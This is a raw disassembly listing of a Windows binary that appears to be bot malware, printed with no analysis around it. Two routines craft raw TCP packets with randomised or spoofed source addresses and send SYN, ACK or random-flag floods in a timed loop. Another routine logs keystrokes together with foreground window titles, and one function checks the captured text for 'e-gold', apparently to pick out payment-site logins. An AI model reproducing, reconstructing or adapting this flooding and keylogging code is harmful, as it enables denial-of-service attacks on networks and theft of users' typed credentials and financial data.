		push	[ebp+arg_8]
		call	dword_4413B8	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4413B8	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4413B8	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4413B8	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 7C82FA46h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 7C80A427h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417860
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401B98:				; CODE XREF: sub_401A6D+25Dj
					; sub_401A6D+26Bj
		mov	[ebp+var_24], bx
		call	sub_417408
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4413B8	; ntohs
		mov	[ebp+var_34], ax
		call	sub_417408
		mov	edi, eax
		shl	edi, 10h
		call	sub_417408
		or	edi, eax
		push	edi
		call	dword_4413B8	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4413B4	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4413B8	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40B004
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40B004
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417490
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_44141C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CDD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 7C80A427h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D06
		jl	loc_401B98
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D06
		jmp	loc_401B98
; ---------------------------------------------------------------------------


loc_401CDD:				; CODE XREF: sub_401A6D+247j
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_423298
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40C4F7
		add	esp, 10h
		jmp	short loc_401D09
; ---------------------------------------------------------------------------


loc_401D06:				; CODE XREF: sub_401A6D+25Bj
					; sub_401A6D+269j
		mov	ebx, [ebp+arg_8]


loc_401D09:				; CODE XREF: sub_401A6D+78j
					; sub_401A6D+297j
		push	[ebp+var_C]
		call	dword_441450	; closesocket
		pop	esi


loc_401D13:				; CODE XREF: sub_401A6D+5Bj
		call	dword_441318	; WSACleanup
		mov	eax, ebx


loc_401D1B:				; CODE XREF: sub_401A6D+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D1F	proc near		; CODE XREF: sub_4019D1+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE95
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41791F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41791F
		mov	edi, eax
		call	sub_417408
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A6D
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D6A
		push	1
		pop	eax


loc_401D6A:				; CODE XREF: sub_401D1F+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D79	proc near		; DATA XREF: sub_40F6F1+2E33o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_421064
		call	edi	; GetTickCount
		push	eax
		call	sub_4173FE
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_441438	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E42
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42340C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E22
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40DC10
		add	esp, 14h


loc_401E22:				; CODE XREF: sub_401D79+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_BC]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_401E42:				; CODE XREF: sub_401D79+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_441398	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC0
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4233C4
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA0
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40DC10
		add	esp, 14h


loc_401EA0:				; CODE XREF: sub_401D79+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_BC]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_401EC0:				; CODE XREF: sub_401D79+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F30
		lea	eax, [ebp+var_440]
		push	offset dword_423394
		push	eax
		call	sub_4173AC
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F10
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40DC10
		add	esp, 14h


loc_401F10:				; CODE XREF: sub_401D79+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_BC]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_401F30:				; CODE XREF: sub_401D79+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4413B8	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4413F8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401F68:				; CODE XREF: sub_401D79+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_40222C
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4413B8	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FDB
		call	sub_417408
		mov	esi, eax
		shl	esi, 8
		call	sub_417408
		add	esi, eax
		shl	esi, 8
		call	sub_417408
		add	esi, eax
		shl	esi, 8
		call	sub_417408
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FF1
; ---------------------------------------------------------------------------


loc_401FDB:				; CODE XREF: sub_401D79+233j
		push	[ebp+var_240]
		call	sub_40AFAB
		pop	ecx
		push	eax
		call	dword_4413F8	; inet_addr
		mov	[ebp+var_20], eax


loc_401FF1:				; CODE XREF: sub_401D79+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_40200F
		call	sub_417408
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_402015
; ---------------------------------------------------------------------------


loc_40200F:				; CODE XREF: sub_401D79+284j
		push	[ebp+var_B8]


loc_402015:				; CODE XREF: sub_401D79+294j
		call	dword_4413B8	; ntohs
		mov	[ebp+var_16], ax
		call	sub_417408
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4413B8	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4413B4	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402065
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020C1
; ---------------------------------------------------------------------------


loc_402065:				; CODE XREF: sub_401D79+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402085
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020C1
; ---------------------------------------------------------------------------


loc_402085:				; CODE XREF: sub_401D79+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020C1
		call	sub_417408
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_417408
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020C1:				; CODE XREF: sub_401D79+2EAj
					; sub_401D79+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4413B8	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4413B8	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40B004
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40B004
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417490
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_44141C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021AE
		inc	[ebp+arg_0]
		jmp	loc_401F68
; ---------------------------------------------------------------------------


loc_4021AE:				; CODE XREF: sub_401D79+42Bj
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_423324
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40220C
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40DC10
		add	esp, 14h


loc_40220C:				; CODE XREF: sub_401D79+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_BC]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_40222C:				; CODE XREF: sub_401D79+203j
		push	[ebp+var_4]
		call	dword_441450	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4232C4
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40229D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40DC10
		add	esp, 14h


loc_40229D:				; CODE XREF: sub_401D79+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_BC]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
sub_401D79	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022BD	proc near		; CODE XREF: sub_402368+E2p
					; sub_402368+1A4p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= byte ptr  18h
arg_90		= dword	ptr  98h
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	[ebp+arg_90], 0
		jz	short loc_40232D
		push	esi
		mov	esi, offset aEGold ; "e-gold"


loc_4022D5:				; CODE XREF: sub_4022BD+6Bj
		push	esi
		push	[ebp+arg_4]
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40231C
		push	esi
		lea	eax, [ebp+var_200]
		push	[ebp+arg_0]
		push	offset dword_424340
		push	200h
		push	eax
		call	sub_41792A
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_40DC10
		add	esp, 28h


loc_40231C:				; CODE XREF: sub_4022BD+25j
		add	esi, 80h
		cmp	esi, offset dword_423BD0
		jl	short loc_4022D5
		pop	esi
		jmp	short loc_402364
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022BD+10j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	offset dword_42433C
		push	200h
		push	eax
		call	sub_41792A
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_40DC10
		add	esp, 24h


loc_402364:				; CODE XREF: sub_4022BD+6Ej
		xor	eax, eax
		leave
		retn
sub_4022BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402368	proc near		; DATA XREF: sub_40F6F1+49FDo

var_920		= dword	ptr -920h
var_91C		= byte ptr -91Ch
var_520		= byte ptr -520h
var_4E0		= byte ptr -4E0h
var_2E1		= byte ptr -2E1h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_DC		= dword	ptr -0DCh
var_58		= dword	ptr -58h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 920h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_920], 0
		push	26h
		and	[ebp+arg_0], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_E0]
		rep movsd
		mov	dword ptr [eax+94h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_91C]
		rep stosd
		call	dword_441340	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_441354	; GetWindowTextA
		mov	ebx, 200h


loc_4023C3:				; CODE XREF: sub_402368+4A0j
		push	8
		nop
		call	near ptr 7C802442h
		call	dword_441340	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	loc_40253B
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_441354	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	loc_4024C0
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	short loc_402479
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_417AF0
		cmp	eax, 1
		pop	ecx
		jnb	short loc_402479
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset dword_4243EC
		push	eax
		call	sub_4173AC
		sub	esp, 8Ch
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4022BD
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch


loc_402479:				; CODE XREF: sub_402368+9Bj
					; sub_402368+AAj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	loc_40253B
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	loc_40253B
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset dword_4243DC
		push	eax
		call	sub_4173AC
		sub	esp, 8Ch
		jmp	short loc_4024F4
; ---------------------------------------------------------------------------


loc_4024C0:				; CODE XREF: sub_402368+86j
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	loc_4025E6
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset dword_4243B8
		push	eax
		call	sub_4173AC
		sub	esp, 88h


loc_4024F4:				; CODE XREF: sub_402368+156j
		push	26h
		lea	eax, [ebp+var_48]
		pop	ecx
		lea	esi, [ebp+var_E0]
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4022BD
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch


loc_40253B:				; CODE XREF: sub_402368+6Cj
					; sub_402368+120j ...
		cmp	[ebp+var_58], 0
		jz	loc_4025E6
		push	1
		call	dword_441384	; GetAsyncKeyState
		cmp	ax, 8001h
		jnz	loc_4025E6
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	short loc_4025E6
		call	dword_441340	; GetForegroundWindow
		lea	ecx, [ebp+var_520]
		push	3Ch
		push	ecx
		push	eax
		call	dword_441354	; GetWindowTextA
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset dword_4243DC
		push	eax
		call	sub_4173AC
		sub	esp, 8Ch
		lea	eax, [ebp+var_520]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4022BD
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch


loc_4025E6:				; CODE XREF: sub_402368+164j
					; sub_402368+1D7j ...
		mov	[ebp+var_4], offset dword_423BD4


loc_4025ED:				; CODE XREF: sub_402368+496j
		push	10h
		call	dword_441298	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+var_4]
		mov	edi, [eax-4]
		push	edi
		call	dword_441384	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_402685
		push	14h
		call	dword_441298	; GetKeyState
		test	ax, ax
		jz	short loc_402636
		cmp	esi, 0FFFFFFFFh
		jle	short loc_402636
		cmp	edi, 40h
		jle	short loc_402636
		cmp	edi, 5Bh
		jge	short loc_402636
		mov	[ebp+edi*4+var_920], 1
		jmp	loc_4027F3
; ---------------------------------------------------------------------------


loc_402636:				; CODE XREF: sub_402368+2ADj
					; sub_402368+2B2j ...
		push	14h
		call	dword_441298	; GetKeyState
		test	ax, ax
		jz	short loc_402661
		test	esi, esi
		jge	short loc_402675
		cmp	edi, 40h
		jle	short loc_402661
		cmp	edi, 5Bh
		jge	short loc_402661
		mov	[ebp+edi*4+var_920], 2
		jmp	loc_4027F3
; ---------------------------------------------------------------------------


loc_402661:				; CODE XREF: sub_402368+2D9j
					; sub_402368+2E2j ...
		test	esi, esi
		jge	short loc_402675
		mov	[ebp+edi*4+var_920], 3
		jmp	loc_4027F3
; ---------------------------------------------------------------------------


loc_402675:				; CODE XREF: sub_402368+2DDj
					; sub_402368+2FBj
		mov	[ebp+edi*4+var_920], 4
		jmp	loc_4027F3
; ---------------------------------------------------------------------------


loc_402685:				; CODE XREF: sub_402368+2A0j
		mov	esi, [ebp+edi*4+var_920]
		lea	eax, [ebp+edi*4+var_920]
		test	esi, esi
		jz	loc_4027F3
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2E0]
		cmp	edi, 8
		push	eax
		jnz	short loc_4026BD
		call	sub_417AF0
		and	[ebp+eax+var_2E1], 0
		pop	ecx
		jmp	loc_4027F3
; ---------------------------------------------------------------------------


loc_4026BD:				; CODE XREF: sub_402368+340j
		call	sub_417AF0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402703
		call	dword_441340	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_441354	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_4026F1
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset dword_42439C
		jmp	short loc_402746
; ---------------------------------------------------------------------------


loc_4026F1:				; CODE XREF: sub_402368+379j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset dword_42437C
		jmp	short loc_402767
; ---------------------------------------------------------------------------


loc_402703:				; CODE XREF: sub_402368+360j
		cmp	edi, 0Dh
		jnz	loc_4027C5
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jz	loc_4027F3
		call	dword_441340	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_441354	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_402757
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset dword_424364


loc_402746:				; CODE XREF: sub_402368+387j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	short loc_402776
; ---------------------------------------------------------------------------


loc_402757:				; CODE XREF: sub_402368+3D0j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset dword_424348


loc_402767:				; CODE XREF: sub_402368+399j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_402776:				; CODE XREF: sub_402368+3EDj
		sub	esp, 98h
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4022BD
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		jmp	short loc_4027F3
; ---------------------------------------------------------------------------


loc_4027C5:				; CODE XREF: sub_402368+39Ej
		cmp	esi, 1
		jz	short loc_4027DE
		cmp	esi, 3
		jz	short loc_4027DE
		cmp	esi, 2
		jz	short loc_4027D9
		cmp	esi, 4
		jnz	short loc_4027F3


loc_4027D9:				; CODE XREF: sub_402368+46Aj
		push	[ebp+var_4]
		jmp	short loc_4027E5
; ---------------------------------------------------------------------------


loc_4027DE:				; CODE XREF: sub_402368+460j
					; sub_402368+465j
		mov	eax, [ebp+var_4]
		add	eax, 7
		push	eax


loc_4027E5:				; CODE XREF: sub_402368+474j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_417A10
		pop	ecx
		pop	ecx


loc_4027F3:				; CODE XREF: sub_402368+2C9j
					; sub_402368+2F4j ...
		add	[ebp+var_4], 14h
		cmp	[ebp+var_4], offset dword_424304
		jl	loc_4025ED
